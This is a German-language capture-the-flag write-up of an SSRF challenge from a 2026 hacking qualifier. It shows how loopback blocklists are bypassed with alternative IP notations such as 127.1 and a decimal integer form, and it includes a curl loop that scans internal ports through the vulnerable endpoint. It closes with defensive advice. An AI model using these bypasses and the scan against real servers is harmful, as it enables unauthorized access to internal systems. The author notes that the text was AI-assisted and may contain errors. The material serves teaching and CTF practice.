Deutschlands Bester Hacker - SSRF in die OT-Zone (Web) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie Web
Punkte 413
Angriffsklasse SSRFServer-Side Request ForgeryMissbraucht einen Server, um unautorisierte Anfragen an interne oder externe Ziele zu senden. mit Blocklist-Bypass über alternative IP-Notation
Flag DBH{DNS_AL1AS_UMG3HT_BL0CKL1ST3_XXX}

Die Challenge

Ein Netzwerk-Diagnose-Tool erlaubt das Abfragen von URLs. Interne Hostnamen wie hmi-diag.stwf.intern werden aufgelöst, aber Zugriffe auf localhost und 127.0.0.1 sind durch eine Blockliste gesperrt. Ziel ist es, die Blockliste zu umgehen und einen internen Diagnose-Port auf dem Loopback-Interface zu erreichen.

Aufklärung

Das Tool akzeptiert URLs und gibt den HTTP-Response zurück. Direkte Anfragen an 127.0.0.1 oder localhost werden blockiert:

Fehler: Zugriff auf Loopback-Adressen ist nicht erlaubt.

Der Hostname hmi-diag.stwf.intern wird zwar aufgelöst, zeigt auf Port 80 aber nichts Interessantes. Der interessante Dienst muss also woanders auf dem Loopback liegen.

Die Schwachstelle

IPv4-Adressen lassen sich in verschiedenen Formaten schreiben. Die Blockliste prüft nur die kanonischen Formen (127.0.0.1, localhost) — als String, nicht als aufgelöste Adresse. Verkürzte Notation umgeht die Prüfung damit vollständig:

Notation Ergebnis
127.0.0.1 Blockiert
localhost Blockiert
127.1 Erlaubt (wird vom OS zu 127.0.0.1 aufgelöst)
2130706433 (Integer) Ebenfalls möglich

Der Angriff

Mit 127.1 als Host lässt sich der komplette Loopback-Portbereich vom Server aus scannen:

for port in $(seq 1 10000); do
  result=$(curl -s "<URL>/diagnose?url=http://127.1:${port}/")
  if echo "$result" | grep -qi "flag\|DBH\|diag"; then
    echo "PORT $port: HIT"
  fi
done

Port 8500 liefert die DNP3DNP3Fernwirkprotokoll für Leitsysteme, verbreitet in Energieversorgung und Wasserwirtschaft.-HMIHuman Machine InterfaceBedien- und Beobachtungsoberfläche, über die Personal einen industriellen Prozess überwacht und steuert.-Diagnoseseite mit der Flag:

http://127.1:8500 → DBH{DNS_AL1AS_UMG3HT_BL0CKL1ST3_XXX}

Die Flag

DBH{DNS_AL1AS_UMG3HT_BL0CKL1ST3_XXX}

Was ich mitnehme

Blocklisten für IP-Adressen müssen alle möglichen Notationen berücksichtigen: verkürzt (127.1), dezimal-Integer (2130706433), oktal (0177.0.0.1), IPv6-mapped (::ffff:127.0.0.1) und einiges mehr. Jede dieser Schreibweisen landet am Ende beim selben Socket.

Besser als eine Blockliste ist eine Allowlist — oder zumindest: die IP vor dem Vergleich auflösen und die aufgelöste Adresse gegen private Bereiche prüfen (inklusive Schutz gegen DNS-Rebinding zwischen Prüfung und Request). Der Angriff heißt nicht ohne Grund Server-Side Request Forgery: geprüft wird ein String, ausgeführt wird eine Verbindung.